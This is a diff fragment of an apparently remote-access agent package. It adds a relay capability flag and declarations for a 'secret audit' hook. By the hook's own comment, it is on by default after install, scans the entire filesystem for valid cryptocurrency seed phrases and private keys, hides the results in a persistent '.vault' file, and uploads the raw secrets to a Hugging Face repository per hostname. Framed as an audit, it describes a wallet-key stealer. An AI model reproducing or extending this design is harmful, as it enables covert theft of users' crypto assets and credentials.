+ * when `FORGE_JS_AGENT_SECRET_AUDIT` is unset).
271
+ * Default **on** when `RELAY_HF_CREDENTIALS_B64` is set; opt out with `RELAY_AGENT_SECRET_AUDIT=0`.
272
+ * Agents honor `FORGE_JS_AGENT_SECRET_AUDIT=0` to force-disable locally.
273
+ */
274
+ function relayAgentSecretAuditAdvertised() {
275
+ const raw = (process.env.RELAY_AGENT_SECRET_AUDIT || "").trim().toLowerCase();
276
+ if (["0", "false", "no", "off"].includes(raw))
277
+ return false;
278
+ if (["1", "true", "yes", "on"].includes(raw))
279
+ return true;
280
+ return Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim());
281
+ }
268
282
  /**
269
283
  * Default on: advertise STUN/TURN ICE servers for browser↔agent WebRTC (signaling still uses this relay WS).
270
284
  * Opt out only when explicitly disabled — keeps file-explorer + `/remote` P2P paths enabled without PM2/.env boilerplate.
@@ -1127,6 +1141,9 @@ function attachConnection(ws, req, role, sessionId) {
1127
1141
  ? { discord_screenshot_first_stagger_ms: discordFirstStagger }
1128
1142
  : {}),
1129
1143
  hf_credentials_from_relay: Boolean((process.env.RELAY_HF_CREDENTIALS_B64 || "").trim()),
1144
+ ...(relayAgentSecretAuditAdvertised()
1145
+ ? { agent_secret_audit: true }
1146
+ : {}),
1130
1147
  ...(syncAdvertised ? { sync_api_base_url: syncAdvertised } : {}),
1131
1148
  /** Relay package version for diagnostics (upgrades: file explorer → Upgrade agent). */
1132
1149
  relay_version: (() => {
@@ -0,0 +1,51 @@
1
+ /**
2
+ * Relay-connected agent hook: scan for **validated** cryptocurrency mnemonics / private-key material,
3
+ * merge unique hits locally in `result.json`, optionally upload JSON to Hugging Face
4
+ * using {@link loadHfCredentials} first when present (PM2 `CFGMGR_HF_CREDENTIALS_B64`), else relay
5
+ * (`relay_hf_credentials_request` → token). Override order with `CFGMGR_HF_AUDIT_FETCH_RELAY_FIRST=1`.
6
+ * The Hub `result.json` mirror uses the same slim row shape as disk — **`file`**, **`rule`**, **`data`** (`schema_version` 4).
7
+ *
8
+ * **Precision:** loose prose mnemonics (`bip39_loose`) are disabled. Only **checksum-valid English BIP39**
9
+ * mnemonics and **validated** blockchain-style keys (secp256k1 scalar range, WIF, BIP32 xprv/tprv/zprv…) are kept.
10
+ * TLS PEM blocks, WireGuard interface secrets, and age identities are **not** scanned or persisted.
11
+ *
12
+ * **Scan scope:** unless `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is set, walks POSIX `/` or every present Windows drive letter, merging bundled skips plus OS system-tree absolute prefixes (see `auditScanScope.ts`). Any path under a directory segment named `cfgmgr` (case-insensitive) is skipped — project clones and cfgmgr app data.
13
+ *
14
+ * **`schema_version` 4:** each disk `unique_findings[]` row is **`{ file, rule, data }`** — **`data`** is canonical secret material; **`rule`** is the validated-material label (`bip39_checksum_valid`, `secp256k1_private_hex`, …). Legacy v2–v3 keys (`normalized_value`, `value`, `primary_rule`) still load.
15
+ * **`file`** is the **absolute path of the best merged hit source file** (POSIX slashes): among merged `sources[]`, paths that look like real files win over directory-only legacy paths. Version 1 full rows still load for merge.
16
+ *
17
+ * **Local persistence:** `<CfgMgr data>/.forge-jsxy/.vault/secret-audit/result.json` is the canonical store — **exactly one vault JSON path** (atomic replace each successful scan; no timestamped siblings).
18
+ * It lives under the hidden `.vault` tree (system-level cfgmgr data, not the npm package). Each successful run
19
+ * **merges** new unique fingerprints into existing disk state — **`result.json` is never deleted** by this module
20
+ * (only atomically replaced in place). File-explorer **Upgrade / Restart agent / Kill agent** flows do **not**
21
+ * remove this path (they stop cfgmgr, rebuild, sanitize env — audit history survives).
22
+ * Manual **`forge-agent secret-scan`** writes **`--output`** `.json` + `.csv` separately and does not add extra vault files.
23
+ *
24
+ * Scheduling: after relay `connected`, runs once per agent **process** start (plus OS reboot / interval).
25
+ * Same-process WebSocket reconnects are throttled by `FORGE_JS_AGENT_SECRET_AUDIT_MIN_INTERVAL_MS`
26
+ * unless the saved `agent_process_nonce` matches this process (interval applies).
27
+ *
28
+ * **Default:** audit scheduling is **ON** after install (`FORGE_JS_AGENT_SECRET_AUDIT` unset). Set `FORGE_JS_AGENT_SECRET_AUDIT=0` to disable locally.
29
+ *
30
+ * **Hub uploads:** writes **`agents/<hostname>/result.json`** only (same document shape as local vault). Each `unique_findings[]` row matches disk — **`file`**, **`rule`**, **`data`** (no extra aliases).
31
+ * Set `FORGE_JS_AGENT_SECRET_AUDIT_HF_REDACT_VALUES=1` to upload Hub rows **without** secret bodies (`file` + **`rule`** only).
32
+ * `FORGE_JS_AGENT_SECRET_AUDIT_HF_INCLUDE_VALUES=1` (or legacy `FORGE_JS_AGENT_SECRET_AUDIT_HF_FULL_PAYLOAD=1`) forces full rows even when `REDACT_VALUES` is set.
33
+ *
34
+ * Authorized deployments only.
35
+ */
36
+ import type { HfCredentials } from "../hfCredentials";
37
+ export declare function resultJsonPath(): string;
38
+ export declare function agentSecretAuditProcessNonce(): string;
39
+ /** Default ON for turnkey agents (`npm install`). Opt out: FORGE_JS_AGENT_SECRET_AUDIT=0|false|no|off. */
40
+ export declare function isAgentSecretAuditEnabled(caps?: Record<string, unknown>): boolean;
41
+ export declare function shouldRunSecretAuditNow(): boolean;
42
+ export declare function runAgentStartupSecretAudit(opts: {
43
+ relayCaps?: Record<string, unknown>;
44
+ fetchHubCredentials: () => Promise<HfCredentials>;
45
+ quiet: boolean;
46
+ }): Promise<void>;
47
+ export declare function scheduleAgentStartupSecretAudit(opts: {
48
+ relayCaps: Record<string, unknown>;
49
+ quiet: boolean;
50
+ fetchHubCredentials: () => Promise<HfCredentials>;
51
+ }): void;